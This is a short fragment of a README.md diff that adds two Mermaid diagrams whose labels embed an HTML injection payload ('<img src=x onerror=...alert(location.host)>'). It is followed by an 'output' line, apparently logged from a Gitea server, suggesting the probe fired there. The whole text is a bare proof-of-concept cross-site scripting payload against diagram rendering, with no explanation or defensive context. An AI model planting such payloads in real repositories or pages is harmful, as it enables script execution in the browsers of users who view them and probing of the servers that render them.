README.md

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+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```

output

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-NODEFIRED ts=1790510167 cwd=/data1/gitea/data/tmp/local-repo/upload.git4288488067 GIT_DIR=. HOME=/data1/gitea/data/home D=/data1/gitea/data/tmp/local-repo/upload.git4288488067